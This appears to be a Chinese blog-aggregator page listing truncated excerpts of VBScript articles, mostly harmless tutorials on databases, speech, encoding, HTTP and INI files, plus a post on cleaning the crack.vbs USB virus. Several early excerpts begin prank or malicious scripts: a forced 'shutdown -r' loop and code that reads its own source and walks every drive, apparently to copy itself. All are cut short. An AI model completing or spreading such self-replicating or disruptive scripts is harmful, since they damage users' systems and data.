Vbs 测试程序一

Vbs 测试程序三

一段被写滥了的VBS代码值得一提的是感兴趣的同学可以把 chr(13) + chr(13) + chr(13) 改为chr(11) + chr(11) + chr(11) 不赘述 on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我爱C…

Vbs 测试程序二

这是一段原载于百度百科上的代码,Chaobs转载原帖已删,就是怕有人用这个恶意程序. 慎用! dim folder,fso,foldername,f,d,dc set fso=createobject("scripting.filesystemobject") set self=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall self.close set dc=fso.Drives for each d…

转载请注明出处有点小恶意哦!慎重测试 'This procedure is written in SeChaos, only for entertainment, not malicious communication, crack or rewrite.I am not liable, the final interpretation of all SeChaos.dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=wscript.createobject(…

Oracle使用ODBC连接配置

该配置是在windows 7 32位下进行的,程序已经通过了测试(使用VBS进行的测试) 1.文件下载 -------------------------------------------------------------------------- 下载地址http://www.oracle.com/technetwork/topics/winsoft-085727.html 需要下载两个文件 instantclient-basic-nt-12.1.0.2.0.zip "http://dow…

snip_opencv环境配置和测试程序

opencv2.4.9环境变量配置的记录. 2014年8月10日 Microsoft Windows XP [版本 5.1.2600](C) 版权所有 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator>setALLUSERSPROFILE=C:\Documents and Settings\All UsersAltiumPath=D:\Program Files\Altium Designer Summer 09\…

C#调用vbs脚本实现Windows版Siri

最近新加入,把自己一些有意思的小东西分享给大家,我是一个学生,代码写得少,哪里不规范,希望大家见谅. 这事我封装好的一个类,可以直接实例化对象之后,调用"对象.Talk()"方法,让机器读出你传递进去的字符串. 这个程序原理很简单,就是创建文件读写流,在D:\Alarm下创建一个sys.vbs文件,里面写入CreateObject("SAPI.SpVoice").Speak "你的字符串",然后执行这个vbs,就可以让你的电脑发声啦,听说Wind…

vbs连接sql server及写文件操作

此段代码是连接SQL SERVER的代码内connMMSQL的参数要根据实际情况传入 Function connMMSQL(ip,user,pwd,database,strsql) Dim conn,Re,arr(2) set conn = CreateObject("ADODB.Connection") conn.ConnectionString="Provider=SQLOLEDB.1;Password="+pwd+";Persist Securit…

在WinCC中通过VBS操作SQL Server2005

在项目中需要在一定条件满足时,保存一些数据到数据库中,并可根据条件查询.考虑到WinCC6.2以后采用的就是SQL Server2005数据库,所以直接利用该数据库即可,通过SQL Server Management Studio(SSMS)可以创建自己的数据库,并安要求创建好表. 一.数据库连接在SQL Server Management Studio(SSMS)中创建名为evcp的数据库,再创建名为evcp的表,然后根据需要创建Columns,在本项目中创建了norder(流水号).pil…

使用vbs脚本进行批量编码转换

使用vbs脚本进行批量编码转换最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默认编码格式是Gb2312.系统内的编码格式有所区别倒无伤大雅,关键的是SourceInsight竟不支持UTF-8,导致项目代码内的中文注释全部乱码! 既然SourceInsight不支持UTF-8编码的文件,那我们就得想办法将UTF-8的代码文件转化为GB2312编码的.首先想到的是到网上搜一下“…

Spring+SpringMvc+Mybatis框架集成搭建教程三(框架整合测试程序开发)

框架整合测试程序开发 (1).在mysql数据库中创建t_user表,sql语句如下 CREATE TABLE `t_user` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `user_name` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARS…

vbs让电脑发音说话

Dim vbs1 'set vbs1 = WScript.CreateObject("WScript.Shell") set vbs1 = WScript.CreateObject("SAPI.SpVoice") '语言的改变在 Win+R中输入 sapi.cpl 那里有如 Microsoft Lili 的显示 ) vbs1.Rate = '速度-10,10 vbs1.Volume= '音量 0,100 vbs1.Speak "wjshan0808&…

WSF脚本详解：组合JS和VBS代码

1.概述 Windows Script Host除了提供一个对象模型之外,还提供了一种脚本框架,这就是WSF脚本.通过WSF约定的标记元素,可以将多种脚本语言写的代码块组合起来,完成任务.除此之外,还可以实现一些DOS没有的命令功能,通过CScript xxx.wsf /?来查看帮助文档,帮助文档由WSF声明并由解释器动态生成完整的文档.再联合使用WshEnvironment对象,即可对DOS命令,随心所欲的提供增量功能实现了. 2.WSF标记元素语法属性备注 <?job?> <…

HTA全解析：给VBS和JS一个强大的交互界面

1.概述 HTA全称Html Application,在Windows中由mshta.exe加载执行,是一种本地程序.可使用html元素来构建界面,用JS或VBS来构建执行逻辑,从而强化Windows脚本的交互能力与友好性.只要将Html文件扩展名改为.hta即可将html当做一个hta程序来运行. 2.<HTA:APPLICATION>元素 <HTA:APPLICATION>元素必须全大写,其中的APPLICATION不可少:它拥有一些属性[它们是只读的],用以来控制HTA进程和…

vbs 中文字符串

vbs 字符串包含中文字符,文件以UTF-8无BOM格式保存,就会出现“编译器错误: 未结束的字符串常量”错误,改以ANSI保存就没有这个问题…

使用bat/vbs/ahk对Windows下进行自动化操作

回想90年代,我们在DOS下使用各种命令链对操作进行简化和自动化,如DOS 5.0添加的DosKey,利用管道和重定向对多组命令进行链式操作.后来使用了Ubuntu和其它Linux发型版后,bash下对命令的链式操作则更加强大,并可以和其它编程语言协作,不过复杂度也有所提升.现在Windows下利用自带的bat/vbs也可以满足大多数简化操作的需求,虽然这些技巧大多是10-20年前的老古董了. 快捷键把常用程序的快捷方式拖到开始菜单目录下,添加快捷键,Ctrl+Alt+* 呼出. 为bat添加…

vbs 的二个解释程序区别与切换及与BAT互调用。

WScript.exe : 窗口中运行CScript.exe :命令行中运行用法:<CScript|WScript> scriptname.extension [option...] [arguments...] 选项: //B 批模式:不显示脚本错误及提示信息 //D 启用 Active Debugging //E:engine 使用执行脚本的引擎 //H:CScript 将默认的脚本宿主改为 CScript.exe //H:WScript 将默认的脚本宿主改为 WScript.exe (…

用VBS实现公司自动打卡

公司每天要求早晚打卡,方式是登录某一个页面,然后点击上面的圈圈,如下图: 每天都要打开书签,登录这个页面,然后打卡...这么重复性的工作,怎么能是程序员天天干的事情呢(其实是我太懒了),那么就尝试让程序来解决吧! 最开始想的是用python,然后深入想了一下之后发现本人学艺不精,涉及到urllib的东西一大堆,完全不想去研究,毕竟我只是想打个卡啊!接下来又想到了cmd,尝试了一下可以用批处理打开浏览器并进入到打卡的页面,但是接下来怎么点击中间的那个ball呢?谷歌了一上午,没啥发现,倒是无意中在…

crack.vbs病毒，优盘里所有文件全变成快捷方式

去了一趟学校打印店,用优盘copy打印了点东西,当时在打印店电脑里打开优盘的时候里面就变成了快捷方式,但没怎么在意.回来之后在自己电脑上居然也这样了.网上一搜是中了crack.vbs病毒了.格式化优盘依然不管用,病毒一直在复制.删了依然有. 在看了一个这个链接之后,我尝试在进程管理器查找是否真有wscript.exe正在执行,结果真有,结束进程后,优盘中隐藏的crack.vbs文件终于显现,然后彻底删掉它.重新用杀毒软件或者安全软件扫描下优盘.ok,终于解决了.…

针对Excel的vbs操作

工程中具有导入Excel数据的功能,但是需要满足一定的格式.为了在导入之前,对Excel的格式进行规范,对vbs脚本语言进行了一定的了解,并实现了一个可以将Excel全部单元格设为文本格式的vbs脚本.具体内容如下: Set args = WScript.ArgumentsPath = WScript.Arguments(0)Set ExcelApp = CreateObject("Excel.Application") Set ExcelBook = ExcelApp.Workboo…

【VBS】vbs指定编码保存文本文件（含xml、ini什么的）

本文还是折腾安装包期间衍生出来的产物. 我那安装包在安装期间有这个动作: - 让用户填写一些信息,待安装完成后把这些信息写入软件安装目录中的指定ini.xml文件中上文说的是如何用vbs写ini,ini搞完了,这下搞xml.本来借助xml完善的DOM实现,包括vbs在内的大多数语言操作xml都很容易,调用Microsoft.XMLDOM对象即可,比如: Dim doc Set doc = CreateObject("Microsoft.XMLDOM") doc.load("…

【vbs】vbs写ini文件

这两天在折腾给一个项目打安装包,第一次接触软件打包,用的Advanced Installer(以下简称AI),应该说如果安装过程没有特殊动作(常规动作指释放文件.写注册表.建快捷方式等)的话,倒挺傻瓜的,按照向导和界面操作就能打好一个包.但我的安装动作包括: - 提供一个ComboBox列出已安装打印机让用户选择 - 让用户填写一些初始参数并在安装完成后把这些参数写入安装目录中的指定ini和xml文件中第一个需求就折腾了我大半天,难点在于动态填充ComboBox项,资料和文档不好找,又是E文,…

VBS进行http请求及JSON数据的读取和生成

背景: 近期帮一个公司做第三方API的二次封装,需要部署到该公司网站.所获取的是Json数据格式.由于该公司原系统采用的ASP+VBS技术方案,因此采用VBS对API进行请求.封装. 实现: 废话不多说,直接上代码.由于某些原因,不能将所有代码贴出来,有问题的可以留言.  <script Language="jscript" runat="server">…

vbs keys

其使用格式为: object.SendKeys string "object":表示WshShell对象 "string":表示要发送的按键指令字符串,需要放在英文双引号中. 1.基本键一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",使用 WshShell.SendKeys "x" 即可. 也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可.例如,要发送按键"cfan&…

vbs http

get请求模拟发送http请求到百度Dim httpSet http = CreateObject("Msxml2.ServerXMLHTTP")http.open "GET",http://www.baidu.com, Falsehttp.sendmsgbox http.statusmsgbox http.responsetext post请求 set Http=createobject("MSXML2.XMLHTTP")Http.Open…

vbs外部调用

一．QTP调用外部VBS的方法加到QTP的Resource中在QTP菜单中设置, 菜单FileàSettingsàResource,将要加载的VB脚本添加进来. 举例: 步骤1:在D盘下新建一个VBS文件,叫" test.vbs",脚本内容如下: Function fun(a, b) fun=a+b End Function 步骤2:在QTP 里新建一个Test, 叫"Test1",点击菜单FileàSettingsàResource,将要加载的VB脚本&quo…

Junit初级编码（一）第一个Junit测试程序

序,Junit测试是单元测试的一个框架,提供了很多方法,供我们快速开展单元测试.目前最新版本JAR包为4.12,官网地址为http://junit.org/ 一.第一个Junit测试程序 1 去官网下载JAR包,备用 2 Eclipse建立两个工程(名字随便) Hello工程中建立一个Public类,有个方法,计算两数和. 3 HelloJunit工程引入Junit JAR包 4 编写Junit代码 package test; import static org.junit.Assert.*;…

吐个槽，对VB6.0 还有VBS 说ByeBye

往事不堪回首,折腾了个把月的老系统,心中郁结,不吐不快.系统架构是ASP +VBS +VB6.0 + SQL Server2000, 第一个版本开发完成大概是在2000年.基本是处于交接无力,看代码就如同走迷宫的节奏.不过我觉得第一批开发人员应该可以自傲了,它们做的系统这么多年过去了居然还活着. 为了对得起这几天死掉的脑细胞,就权且在这里留下它们阵亡的痕迹. 变量的声明 VB6.0: Dim x as integer VBS: Dim x 同样的功能,由于代码太过Dirty,有部分模块写在了AS…